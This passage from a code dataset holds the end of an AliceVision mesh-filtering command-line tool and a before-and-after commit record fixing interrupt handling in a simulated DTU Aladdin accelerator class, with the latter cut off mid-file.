(\"verboseLevel,v\", po::value<std::string>(&verboseLevel)->default_value(verboseLevel),\n        \"verbosity level (fatal, error, warning, info, debug, trace).\");\n\n    allParams.add(requiredParams).add(optionalParams).add(logParams);\n\n    po::variables_map vm;\n\n    try\n    {\n      po::store(po::parse_command_line(argc, argv, allParams), vm);\n\n      if(vm.count(\"help\") || (argc == 1))\n      {\n        ALICEVISION_COUT(allParams);\n        return EXIT_SUCCESS;\n      }\n\n      po::notify(vm);\n    }\n    catch(boost::program_options::required_option& e)\n    {\n      ALICEVISION_CERR(\"ERROR: \" << e.what() << std::endl);\n      ALICEVISION_COUT(\"Usage:\\n\\n\" << allParams);\n      return EXIT_FAILURE;\n    }\n    catch(boost::program_options::error& e)\n    {\n      ALICEVISION_CERR(\"ERROR: \" << e.what() << std::endl);\n      ALICEVISION_COUT(\"Usage:\\n\\n\" << allParams);\n      return EXIT_FAILURE;\n    }\n\n    ALICEVISION_COUT(\"Program called with the following parameters:\");\n    ALICEVISION_COUT(vm);\n\n    \/\/ set verbose level\n    system::Logger::get()->setLogLevel(verboseLevel);\n\n    bfs::path outDirectory = bfs::path(outputMeshPath).parent_path();\n    if(!bfs::is_directory(outDirectory))\n        bfs::create_directory(outDirectory);\n\n    mesh::Texturing texturing;\n    texturing.loadFromOBJ(inputMeshPath);\n    mesh::Mesh* mesh = texturing.me;\n\n    if(!mesh)\n    {\n        ALICEVISION_LOG_ERROR(\"Unable to read input mesh from the file: \" << inputMeshPath);\n        return EXIT_FAILURE;\n    }\n\n    if(mesh->pts->empty() || mesh->tris->empty())\n    {\n        ALICEVISION_LOG_ERROR(\"Error: empty mesh from the file \" << inputMeshPath);\n        ALICEVISION_LOG_ERROR(\"Input mesh: \" << mesh->pts->size() << \" vertices and \" << mesh->tris->size() << \" facets.\");\n        return EXIT_FAILURE;\n    }\n\n    ALICEVISION_LOG_INFO(\"Mesh file: \\\"\" << inputMeshPath << \"\\\" loaded.\");\n    ALICEVISION_LOG_INFO(\"Input mesh: \" << mesh->pts->size() << \" vertices and \" << mesh->tris->size() << \" facets.\");\n\n    if(removeLargeTrianglesFactor != 0.0)\n    {\n        mesh->filterLargeEdgeTriangles(removeLargeTrianglesFactor);\n        ALICEVISION_LOG_INFO(\"Mesh after large triangles removal: \" << mesh->pts->size() << \" vertices and \" << mesh->tris->size() << \" facets.\");\n    }\n\n    mesh::MeshEnergyOpt meOpt(nullptr);\n    {\n        ALICEVISION_LOG_INFO(\"Start mesh filtering.\");\n        meOpt.addMesh(mesh);\n        meOpt.init();\n        meOpt.cleanMesh(10);\n\n        StaticVectorBool* ptsCanMove = nullptr;\n        meOpt.optimizeSmooth(lambda, smoothNIter, ptsCanMove);\n\n        ALICEVISION_LOG_INFO(\"Mesh filtering done: \" << meOpt.pts->size() << \" vertices and \" << meOpt.tris->size() << \" facets.\");\n    }\n\n    if(keepLargestMeshOnly)\n    {\n        StaticVector<int>* trisIdsToStay = meOpt.getLargestConnectedComponentTrisIds();\n        meOpt.letJustTringlesIdsInMesh(trisIdsToStay);\n        delete trisIdsToStay;\n        ALICEVISION_LOG_INFO(\"Mesh after keepLargestMeshOnly: \" << meOpt.pts->size() << \" vertices and \" << meOpt.tris->size() << \" facets.\");\n    }\n\n    mesh::Mesh outMesh;\n    outMesh.addMesh(&meOpt);\n\n    ALICEVISION_COUT(\"Output mesh: \" << mesh->pts->size() << \" vertices and \" << mesh->tris->size() << \" facets.\");\n\n    if(outMesh.pts->empty() || outMesh.tris->empty())\n    {\n        ALICEVISION_CERR(\"Failed: the output mesh is empty.\");\n        ALICEVISION_LOG_INFO(\"Output mesh: \" << outMesh.pts->size() << \" vertices and \" << outMesh.tris->size() << \" facets.\");\n        return EXIT_FAILURE;\n    }\n\n    ALICEVISION_LOG_INFO(\"Save mesh.\");\n\n    \/\/ Save output mesh\n    outMesh.saveToObj(outputMeshPath);\n\n    ALICEVISION_LOG_INFO(\"Mesh file: \\\"\" << outputMeshPath << \"\\\" saved.\");\n\n    ALICEVISION_LOG_INFO(\"Task done in (s): \" + std::to_string(timer.elapsed()));\n    return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2016, Nils Asmussen\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * The views and conclusions contained in the software and documentation are\n * those of the authors and should not be interpreted as representing official\n * policies, either expressed or implied, of the FreeBSD Project.\n *\/\n\n#include \"cpu\/dtu-accel-aladdin\/accelerator.hh\"\n#include \"debug\/DtuAccelAladdin.hh\"\n#include \"debug\/DtuAccelAladdinState.hh\"\n#include \"mem\/dtu\/dtu.hh\"\n#include \"mem\/dtu\/regfile.hh\"\n#include \"sim\/dtu_memory.hh\"\n\n#include <iomanip>\n\nstatic const char *stateNames[] =\n{\n    \"IDLE\",\n\n    \"FETCH_MSG\",\n    \"READ_MSG_ADDR\",\n    \"READ_MSG\",\n    \"COMPUTE\",\n    \"STORE_REPLY\",\n    \"SEND_REPLY\",\n    \"REPLY_WAIT\",\n    \"REPLY_ERROR\",\n\n    \"CTXSW\",\n\n    \"SYSCALL\",\n};\n\nDtuAccelAladdin::DtuAccelAladdin(const DtuAccelAladdinParams *p)\n  : DtuAccel(p),\n    irqPending(false),\n    ctxSwPending(false),\n    memPending(false),\n    state(State::IDLE),\n    lastState(State::CTXSW),    \/\/ something different\n    ctx(),\n    accelId(p->accel_id),\n    sysc(this),\n    yield(this, &sysc),\n    ctxsw(this),\n    ctxSwPerformed()\n{\n    static_assert((sizeof(stateNames) \/ sizeof(stateNames[0]) ==\n                  static_cast<size_t>(State::SYSCALL) + 1), \"Missmatch\");\n\n    yield.start();\n}\n\nstd::string DtuAccelAladdin::getStateName() const\n{\n    std::ostringstream os;\n    os << stateNames[static_cast<size_t>(state)];\n    if (state == State::IDLE)\n        os << \":\" << yield.stateName();\n    else if (state == State::SYSCALL)\n        os << \":\" << sysc.stateName();\n    else if (state == State::CTXSW)\n        os << \":\" << ctxsw.stateName();\n    return os.str();\n}\n\nvoid\nDtuAccelAladdin::completeRequest(PacketPtr pkt)\n{\n    Request* req = pkt->req;\n\n    if (state != lastState ||\n        (state == State::CTXSW && ctxsw.hasStateChanged()) ||\n        (state == State::SYSCALL && sysc.hasStateChanged()) ||\n        (state == State::IDLE && yield.hasStateChanged()))\n    {\n        DPRINTF(DtuAccelAladdinState, \"[%s] Got response from memory\\n\",\n            getStateName().c_str());\n        lastState = state;\n    }\n\n    const uint8_t *pkt_data = pkt->getConstPtr<uint8_t>();\n\n    Cycles delay(1);\n    if (pkt->isError())\n    {\n        warn(\"%s access failed at %#x\\n\",\n             pkt->isWrite() ? \"Write\" : \"Read\", req->getPaddr());\n    }\n    else\n    {\n        switch(state)\n        {\n            case State::IDLE:\n            {\n                if (yield.handleMemResp(pkt))\n                {\n                    if (irqPending)\n                        irqPending = false;\n                    state = State::CTXSW;\n                }\n                break;\n            }\n\n            case State::CTXSW:\n            {\n                if(ctxsw.handleMemResp(pkt))\n                    state = State::FETCH_MSG;\n                break;\n            }\n\n            case State::FETCH_MSG:\n            {\n                state = State::READ_MSG_ADDR;\n                break;\n            }\n            case State::READ_MSG_ADDR:\n            {\n                const RegFile::reg_t *regs = pkt->getConstPtr<RegFile::reg_t>();\n                if(regs[0])\n                {\n                    ctx.msgAddr = regs[0];\n                    ctx.msgOff = 0;\n                    DPRINTF(DtuAccelAladdin, \"Received message @ %p\\n\", ctx.msgAddr);\n                    state = State::READ_MSG;\n                }\n                else\n                {\n                    yield.start();\n                    state = State::IDLE;\n                }\n                break;\n            }\n            case State::READ_MSG:\n            {\n                size_t maxOff = sizeof(ctx.msg) + sizeof(MessageHeader);\n                if (ctx.msgOff < maxOff)\n                {\n                    char *dst = (char*)&ctx.msg;\n                    size_t amount = std::min<size_t>(maxOff - ctx.msgOff, pkt->getSize());\n                    if (ctx.msgOff == 0)\n                    {\n                        pkt_data += sizeof(MessageHeader);\n                        amount -= sizeof(MessageHeader);\n                    }\n                    else\n                        dst += ctx.msgOff - sizeof(MessageHeader);\n                    memcpy(dst, pkt_data, amount);\n                }\n\n                ctx.msgOff += pkt->getSize();\n                if (ctx.msgOff == MSG_SIZE)\n                {\n                    DPRINTF(DtuAccelAladdin,\n                        \"  invokeMsg(iters=%llu, arrays=%llu: [\\n\",\n                        ctx.msg.iterations, ctx.msg.array_count);\n                    for(uint64_t i = 0; i < ctx.msg.array_count; ++i)\n                    {\n                        DPRINTFR(DtuAccelAladdin, \"    addr=%#llx, size=%#llx\\n\",\n                            ctx.msg.arrays[i].addr, ctx.msg.arrays[i].size);\n                    }\n                    DPRINTFR(DtuAccelAladdin, \"  ])\\n\");\n\n                    ctx.iteration = 0;\n                    ctx.interrupted = false;\n                    state = State::COMPUTE;\n                }\n                break;\n            }\n            case State::COMPUTE:\n            {\n                assert(false);\n            }\n            case State::STORE_REPLY:\n            {\n                state = State::SEND_REPLY;\n                break;\n            }\n            case State::SEND_REPLY:\n            {\n                state = State::REPLY_WAIT;\n                break;\n            }\n            case State::REPLY_WAIT:\n            {\n                Dtu::Command::Bits cmd =\n                    *reinterpret_cast<const RegFile::reg_t*>(pkt_data);\n                if (cmd.opcode == 0)\n                {\n                    if (cmd.error == 0)\n                        state = State::CTXSW;\n                    else\n                        state = State::REPLY_ERROR;\n                }\n                break;\n            }\n            case State::REPLY_ERROR:\n            {\n                sysc.start(sizeof(reply));\n                syscNext = State::CTXSW;\n                state = State::SYSCALL;\n                break;\n            }\n\n            case State::SYSCALL:\n            {\n                if(sysc.handleMemResp(pkt))\n                    state = syscNext;\n                break;\n            }\n        }\n    }\n\n    memPending = false;\n    freePacket(pkt);\n\n    \/\/ kick things into action again\n    schedule(tickEvent, clockEdge(delay));\n}\n\nvoid\nDtuAccelAladdin::interrupt()\n{\n    irqPending = true;\n\n    if (ctxsw.isWaiting())\n    {\n        ctxsw.restart();\n        if (!memPending && !tickEvent.scheduled())\n            schedule(tickEvent, clockEdge(Cycles(1)));\n    }\n    else if(state == State::COMPUTE)\n    {\n        if (!memPending && !tickEvent.scheduled())\n            schedule(tickEvent, clockEdge(Cycles(1)));\n    }\n}\n\nvoid\nDtuAccelAladdin::wakeup()\n{\n    sysc.retryFetch();\n\n    if (!memPending && !tickEvent.scheduled())\n        schedule(tickEvent, clockEdge(Cycles(1)));\n}\n\nvoid\nDtuAccelAladdin::reset()\n{\n    irqPending = false;\n\n    yield.start(false);\n    state = State::IDLE;\n    memset(&ctx, 0, sizeof(ctx));\n}\n\nvoid\nDtuAccelAladdin::signalFinished(size_t off)\n{\n    ctx.trace_off = off;\n    ctx.iteration += 1;\n\n    assert(state == State::COMPUTE);\n    if (ctx.iteration == ctx.msg.iterations)\n        state = State::STORE_REPLY;\n\n    if (!memPending && !tickEvent.scheduled())\n        schedule(tickEvent, clockEdge(Cycles(1)));\n}\n\nvoid\nDtuAccelAladdin::tick()\n{\n    PacketPtr pkt = nullptr;\n\n    \/\/ after a context switch, continue at then position we left off\n    if (ctxSwPerformed)\n    {\n        DPRINTF(DtuAccelAladdin,\n            \"Resuming %swork at %llu\/%llu, off=%llu\\n\",\n            ctx.interrupted ? \"interrupted \" : \"\",\n            ctx.iteration, ctx.msg.iterations, ctx.trace_off);\n\n        state = ctx.interrupted ? State::COMPUTE : State::FETCH_MSG;\n        ctxSwPerformed = false;\n        ctx.interrupted = false;\n        irqPending = false;\n    }\n\n    if (state != lastState ||\n        (state == State::CTXSW && ctxsw.hasStateChanged()) ||\n        (state == State::SYSCALL && sysc.hasStateChanged()) ||\n        (state == State::IDLE && yield.hasStateChanged()))\n    {\n        DPRINTF(DtuAccelAladdinState, \"[%s] tick\\n\",\n            getStateName().c_str());\n        lastState = state;\n    }\n\n    switch(state)\n    {\n        case State::IDLE:\n        {\n            pkt = yield.tick();\n            break;\n        }\n\n        case State::CTXSW:\n        {\n            pkt = ctxsw.tick();\n            break;\n        }\n\n        case State::FETCH_MSG:\n        {\n            if (irqPending)\n            {\n                irqPending = false;\n                state = State::CTXSW;\n                schedule(tickEvent, clockEdge(Cycles(1)));\n            }\n            else\n            {\n                Addr regAddr = getRegAddr(CmdReg::COMMAND);\n                uint64_t value = Dtu::Command::FETCH_MSG | (EP_RECV << 4);\n                pkt = createDtuRegPkt(regAddr, value, MemCmd::WriteReq);\n            }\n            break;\n        }\n        case State::READ_MSG_ADDR:\n        {\n            Addr regAddr = getRegAddr(CmdReg::OFFSET);\n            pkt = createDtuRegPkt(regAddr, 0, MemCmd::ReadReq);\n            break;\n        }\n        case State::READ_MSG:\n        {\n            size_t size = std::min(chunkSize, MSG_SIZE - ctx.msgOff);\n            pkt = createPacket(ctx.msgAddr + ctx.msgOff, size, MemCmd::ReadReq);\n            break;\n        }\n\n        case State::COMPUTE:\n        {\n            if (irqPending)\n            {\n                DPRINTF(DtuAccelAladdin,\n                    \"Interrupting work at %llu\/%llu, off=%llu\\n\",\n                    ctx.iteration, ctx.msg.iterations, ctx.trace_off);\n\n                irqPending = false;\n                ctx.interrupted = true;\n                system->resetAccelerator(accelId);\n                state = State::CTXSW;\n                schedule(tickEvent, clockEdge(Cycles(1)));\n                break;\n            }\n\n            auto addArray = [this](const char *name, Addr addr, Addr size) {\n                system->insertArrayLabelMapping(\n                    accelId, name, addr, size\n                );\n                \/\/ establish 1:1 mapping\n                Addr page_off = addr & (TheISA::PageBytes - 1);\n                int num_pages = ceil(((float)size + page_off) \/ TheISA::PageBytes);\n                for(int i = 0; i < num_pages; i++)\n                {\n                    system->insertAddressTranslationMapping(\n                        accelId,\n                        addr + i * TheISA::PageBytes,\n                        addr + i * TheISA::PageBytes\n                    );\n                }\n            };\n\n            \/\/ store the parameter names here instead of letting the client\n            \/\/ send them, because we don't want to pay for the performance\n            \/\/ overhead (they wouldn't be there in real life)\n            static const char *stencil_arrays[] = {\n                \"orig\", \"sol\", \"C\"\n            };\n            static const char *md_arrays[] = {\n                \"position_x\", \"position_y\", \"position_z\",\n                \"force_x\", \"force_y\", \"force_z\", \"NL\"\n            };\n            static const char *spmv_arrays[] = {\n                \"val\", \"cols\", \"rowDelimiters\", \"vec\", \"out\"\n            };\n            static const char *fft_arrays[] = {\n                \"in_x\", \"in_y\", \"out_x\", \"out_y\"\n            };\n\n            const char **names = nullptr;\n            if (accelId == 0x00000120)\n                names = stencil_arrays;\n            else if (accelId == 0x000000B0)\n                names = md_arrays;\n            else if (accelId == 0x000000F0)\n                names = spmv_arrays;\n            else if (accelId == 0x00000060)\n                names = fft_arrays;\n            else\n                fatal(\"Unknown accelerator id %d\", accelId);\n\n            for (uint64_t i = 0; i < ctx.msg.array_count; ++i)\n                addArray(names[i], ctx.msg.arrays[i].addr, ctx.msg.arrays[i].size);\n            system->activateAccelerator(accelId, 0x1000, 0, 0, ctx.trace_off);\n\n            pkt = nullptr;\n            break;\n        }\n\n        case State::STORE_REPLY:\n        {\n            pkt = createPacket(BUF_ADDR,\n                               sizeof(reply.msg),\n                               MemCmd::WriteReq);\n            memcpy(pkt->getPtr<uint8_t>(), (char*)&reply.msg, sizeof(reply.msg));\n            break;\n        }\n        case State::SEND_REPLY:\n        {\n            pkt = createDtuCmdPkt(Dtu::Command::REPLY,\n                                  EP_RECV,\n                                  BUF_ADDR,\n                                  sizeof(reply.msg),\n                                  ctx.msgAddr);\n            break;\n        }\n        case State::REPLY_WAIT:\n        {\n            Addr regAddr = getRegAddr(CmdReg::COMMAND);\n            pkt = createDtuRegPkt(regAddr, 0, MemCmd::ReadReq);\n            break;\n        }\n        case State::REPLY_ERROR:\n        {\n            reply.sys.opcode = SyscallSM::Operation::FORWARD_REPLY;\n            reply.sys.cap = CAP_RBUF;\n            reply.sys.msgaddr = ctx.msgAddr;\n            reply.sys.event = 0;\n            reply.sys.len = sizeof(reply.msg);\n            reply.sys.event = 0;\n\n            pkt = createPacket(BUF_ADDR, sizeof(reply), MemCmd::WriteReq);\n            memcpy(pkt->getPtr<void>(), &reply, sizeof(reply));\n            break;\n        }\n\n        case State::SYSCALL:\n        {\n            pkt = sysc.tick();\n            break;\n        }\n    }\n\n    if (pkt != nullptr)\n    {\n        memPending = true;\n        sendPkt(pkt);\n    }\n}\n\nDtuAccelAladdin*\nDtuAccelAladdinParams::create()\n{\n    return new DtuAccelAladdin(this);\n}\n<commit_msg>DtuAccelAladdin: fixed bug in interruptions.<commit_after>\/*\n * Copyright (c) 2016, Nils Asmussen\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * The views and conclusions contained in the software and documentation are\n * those of the authors and should not be interpreted as representing official\n * policies, either expressed or implied, of the FreeBSD Project.\n *\/\n\n#include \"cpu\/dtu-accel-aladdin\/accelerator.hh\"\n#include \"debug\/DtuAccelAladdin.hh\"\n#include \"debug\/DtuAccelAladdinState.hh\"\n#include \"mem\/dtu\/dtu.hh\"\n#include \"mem\/dtu\/regfile.hh\"\n#include \"sim\/dtu_memory.hh\"\n\n#include <iomanip>\n\nstatic const char *stateNames[] =\n{\n    \"IDLE\",\n\n    \"FETCH_MSG\",\n    \"READ_MSG_ADDR\",\n    \"READ_MSG\",\n    \"COMPUTE\",\n    \"STORE_REPLY\",\n    \"SEND_REPLY\",\n    \"REPLY_WAIT\",\n    \"REPLY_ERROR\",\n\n    \"CTXSW\",\n\n    \"SYSCALL\",\n};\n\nDtuAccelAladdin::DtuAccelAladdin(const DtuAccelAladdinParams *p)\n  : DtuAccel(p),\n    irqPending(false),\n    ctxSwPending(false),\n    memPending(false),\n    state(State::IDLE),\n    lastState(State::CTXSW),    \/\/ something different\n    ctx(),\n    accelId(p->accel_id),\n    sysc(this),\n    yield(this, &sysc),\n    ctxsw(this),\n    ctxSwPerformed()\n{\n    static_assert((sizeof(stateNames) \/ sizeof(stateNames[0]) ==\n                  static_cast<size_t>(State::SYSCALL) + 1), \"Missmatch\");\n\n    yield.start();\n}\n\nstd::string DtuAccelAladdin::getStateName() const\n{\n    std::ostringstream os;\n    os << stateNames[static_cast<size_t>(state)];\n    if (state == State::IDLE)\n        os << \":\" << yield.stateName();\n    else if (state == State::SYSCALL)\n        os << \":\" << sysc.stateName();\n    else if (state == State::CTXSW)\n        os << \":\" << ctxsw.stateName();\n    return os.str();\n}\n\nvoid\nDtuAccelAladdin::completeRequest(PacketPtr pkt)\n{\n    Request* req = pkt->req;\n\n    if (state != lastState ||\n        (state == State::CTXSW && ctxsw.hasStateChanged()) ||\n        (state == State::SYSCALL && sysc.hasStateChanged()) ||\n        (state == State::IDLE && yield.hasStateChanged()))\n    {\n        DPRINTF(DtuAccelAladdinState, \"[%s] Got response from memory\\n\",\n            getStateName().c_str());\n        lastState = state;\n    }\n\n    const uint8_t *pkt_data = pkt->getConstPtr<uint8_t>();\n\n    Cycles delay(1);\n    if (pkt->isError())\n    {\n        warn(\"%s access failed at %#x\\n\",\n             pkt->isWrite() ? \"Write\" : \"Read\", req->getPaddr());\n    }\n    else\n    {\n        switch(state)\n        {\n            case State::IDLE:\n            {\n                if (yield.handleMemResp(pkt))\n                {\n                    if (irqPending)\n                        irqPending = false;\n                    state = State::CTXSW;\n                }\n                break;\n            }\n\n            case State::CTXSW:\n            {\n                if(ctxsw.handleMemResp(pkt))\n                {\n                    if(!ctxSwPerformed && ctx.interrupted)\n                    {\n                        ctx.interrupted = false;\n                        state = State::COMPUTE;\n                    }\n                    else\n                        state = State::FETCH_MSG;\n                }\n                break;\n            }\n\n            case State::FETCH_MSG:\n            {\n                state = State::READ_MSG_ADDR;\n                break;\n            }\n            case State::READ_MSG_ADDR:\n            {\n                const RegFile::reg_t *regs = pkt->getConstPtr<RegFile::reg_t>();\n                if(regs[0])\n                {\n                    ctx.msgAddr = regs[0];\n                    ctx.msgOff = 0;\n                    DPRINTF(DtuAccelAladdin, \"Received message @ %p\\n\", ctx.msgAddr);\n                    state = State::READ_MSG;\n                }\n                else\n                {\n                    yield.start();\n                    state = State::IDLE;\n                }\n                break;\n            }\n            case State::READ_MSG:\n            {\n                size_t maxOff = sizeof(ctx.msg) + sizeof(MessageHeader);\n                if (ctx.msgOff < maxOff)\n                {\n                    char *dst = (char*)&ctx.msg;\n                    size_t amount = std::min<size_t>(maxOff - ctx.msgOff, pkt->getSize());\n                    if (ctx.msgOff == 0)\n                    {\n                        pkt_data += sizeof(MessageHeader);\n                        amount -= sizeof(MessageHeader);\n                    }\n                    else\n                        dst += ctx.msgOff - sizeof(MessageHeader);\n                    memcpy(dst, pkt_data, amount);\n                }\n\n                ctx.msgOff += pkt->getSize();\n                if (ctx.msgOff == MSG_SIZE)\n                {\n                    DPRINTF(DtuAccelAladdin,\n                        \"  invokeMsg(iters=%llu, arrays=%llu: [\\n\",\n                        ctx.msg.iterations, ctx.msg.array_count);\n                    for(uint64_t i = 0; i < ctx.msg.array_count; ++i)\n                    {\n                        DPRINTFR(DtuAccelAladdin, \"    addr=%#llx, size=%#llx\\n\",\n                            ctx.msg.arrays[i].addr, ctx.msg.arrays[i].size);\n                    }\n                    DPRINTFR(DtuAccelAladdin, \"  ])\\n\");\n\n                    ctx.iteration = 0;\n                    ctx.interrupted = false;\n                    state = State::COMPUTE;\n                }\n                break;\n            }\n            case State::COMPUTE:\n            {\n                assert(false);\n            }\n            case State::STORE_REPLY:\n            {\n                state = State::SEND_REPLY;\n                break;\n            }\n            case State::SEND_REPLY:\n            {\n                state = State::REPLY_WAIT;\n                break;\n            }\n            case State::REPLY_WAIT:\n            {\n                Dtu::Command::Bits cmd =\n                    *reinterpret_cast<const RegFile::reg_t*>(pkt_data);\n                if (cmd.opcode == 0)\n                {\n                    if (cmd.error == 0)\n                        state = State::CTXSW;\n                    else\n                        state = State::REPLY_ERROR;\n                }\n                break;\n            }\n            case State::REPLY_ERROR:\n            {\n                sysc.start(sizeof(reply));\n                syscNext = State::CTXSW;\n                state = State::SYSCALL;\n                break;\n            }\n\n            case State::SYSCALL:\n            {\n                if(sysc.handleMemResp(pkt))\n                    state = syscNext;\n                break;\n            }\n        }\n    }\n\n    memPending = false;\n    freePacket(pkt);\n\n    \/\/ kick things into action again\n    schedule(tickEvent, clockEdge(delay));\n}\n\nvoid\nDtuAccelAladdin::interrupt()\n{\n    irqPending = true;\n\n    if (ctxsw.isWaiting())\n    {\n        ctxsw.restart();\n        if (!memPending && !tickEvent.scheduled())\n            schedule(tickEvent, clockEdge(Cycles(1)));\n    }\n    \/\/ don't interrupt the accelerator logic; this seems to cause trouble in Aladdin\n    \/\/ else if(state == State::COMPUTE)\n    \/\/ {\n    \/\/     if (!memPending && !tickEvent.scheduled())\n    \/\/         schedule(tickEvent, clockEdge(Cycles(1)));\n    \/\/ }\n}\n\nvoid\nDtuAccelAladdin::wakeup()\n{\n    \/\/ don't interrupt the accelerator logic\n    if (state != State::COMPUTE)\n    {\n        sysc.retryFetch();\n\n        if (!memPending && !tickEvent.scheduled())\n            schedule(tickEvent, clockEdge(Cycles(1)));\n    }\n}\n\nvoid\nDtuAccelAladdin::reset()\n{\n    irqPending = false;\n\n    yield.start(false);\n    state = State::IDLE;\n    memset(&ctx, 0, sizeof(ctx));\n}\n\nvoid\nDtuAccelAladdin::signalFinished(size_t off)\n{\n    ctx.trace_off = off;\n    ctx.iteration += 1;\n\n    assert(state == State::COMPUTE);\n    if (ctx.iteration == ctx.msg.iterations)\n        state = State::STORE_REPLY;\n\n    if (!memPending && !tickEvent.scheduled())\n        schedule(tickEvent, clockEdge(Cycles(1)));\n}\n\nvoid\nDtuAccelAladdin::tick()\n{\n    PacketPtr pkt = nullptr;\n\n    \/\/ after a context switch, continue at then position we left off\n    if (ctxSwPerformed)\n    {\n        DPRINTF(DtuAccelAladdin,\n            \"Resuming %swork at %llu\/%llu, off=%llu\\n\",\n            ctx.interrupted ? \"interrupted \" : \"\",\n            ctx.iteration, ctx.msg.iterations, ctx.trace_off);\n\n        state = ctx.interrupted ? State::COMPUTE : State::FETCH_MSG;\n        ctxSwPerformed = false;\n        ctx.interrupted = false;\n        irqPending = false;\n    }\n\n    if (state != lastState ||\n        (state == State::CTXSW && ctxsw.hasStateChanged()) ||\n        (state == State::SYSCALL && sysc.hasStateChanged()) ||\n        (state == State::IDLE && yield.hasStateChanged()))\n    {\n        DPRINTF(DtuAccelAladdinState, \"[%s] tick\\n\",\n            getStateName().c_str());\n        lastState = state;\n    }\n\n    switch(state)\n    {\n        case State::IDLE:\n        {\n            pkt = yield.tick();\n            break;\n        }\n\n        case State::CTXSW:\n        {\n            pkt = ctxsw.tick();\n            break;\n        }\n\n        case State::FETCH_MSG:\n        {\n            if (irqPending)\n            {\n                irqPending = false;\n                state = State::CTXSW;\n                schedule(tickEvent, clockEdge(Cycles(1)));\n            }\n            else\n            {\n                Addr regAddr = getRegAddr(CmdReg::COMMAND);\n                uint64_t value = Dtu::Command::FETCH_MSG | (EP_RECV << 4);\n                pkt = createDtuRegPkt(regAddr, value, MemCmd::WriteReq);\n            }\n            break;\n        }\n        case State::READ_MSG_ADDR:\n        {\n            Addr regAddr = getRegAddr(CmdReg::OFFSET);\n            pkt = createDtuRegPkt(regAddr, 0, MemCmd::ReadReq);\n            break;\n        }\n        case State::READ_MSG:\n        {\n            size_t size = std::min(chunkSize, MSG_SIZE - ctx.msgOff);\n            pkt = createPacket(ctx.msgAddr + ctx.msgOff, size, MemCmd::ReadReq);\n            break;\n        }\n\n        case State::COMPUTE:\n        {\n            if (irqPending)\n            {\n                DPRINTF(DtuAccelAladdin,\n                    \"Interrupting work at %llu\/%llu, off=%llu\\n\",\n                    ctx.iteration, ctx.msg.iterations, ctx.trace_off);\n\n                irqPending = false;\n                ctx.interrupted = true;\n                system->resetAccelerator(accelId);\n                state = State::CTXSW;\n                schedule(tickEvent, clockEdge(Cycles(1)));\n                break;\n            }\n\n            auto addArray = [this](const char *name, Addr addr, Addr size) {\n                system->insertArrayLabelMapping(\n                    accelId, name, addr, size\n                );\n                \/\/ establish 1:1 mapping\n                Addr page_off = addr & (TheISA::PageBytes - 1);\n                int num_pages = ceil(((float)size + page_off) \/ TheISA::PageBytes);\n                for(int i = 0; i < num_pages; i++)\n                {\n                    system->insertAddressTranslationMapping(\n                        accelId,\n                        addr + i * TheISA::PageBytes,\n                        addr + i * TheISA::PageBytes\n                    );\n                }\n            };\n\n            \/\/ store the parameter names here instead of letting the client\n            \/\/ send them, because we don't want to pay for the performance\n            \/\/ overhead (they wouldn't be there in real life)\n            static const char *stencil_arrays[] = {\n                \"orig\", \"sol\", \"C\"\n            };\n            static const char *md_arrays[] = {\n                \"position_x\", \"position_y\", \"position_z\",\n                \"force_x\", \"force_y\", \"force_z\", \"NL\"\n            };\n            static const char *spmv_arrays[] = {\n                \"val\", \"cols\", \"rowDelimiters\", \"vec\", \"out\"\n            };\n            static const char *fft_arrays[] = {\n                \"in_x\", \"in_y\", \"out_x\", \"out_y\"\n            };\n\n            const char **names = nullptr;\n            if (accelId == 0x00000120)\n                names = stencil_arrays;\n            else if (accelId == 0x000000B0)\n                names = md_arrays;\n            else if (accelId == 0x000000F0)\n                names = 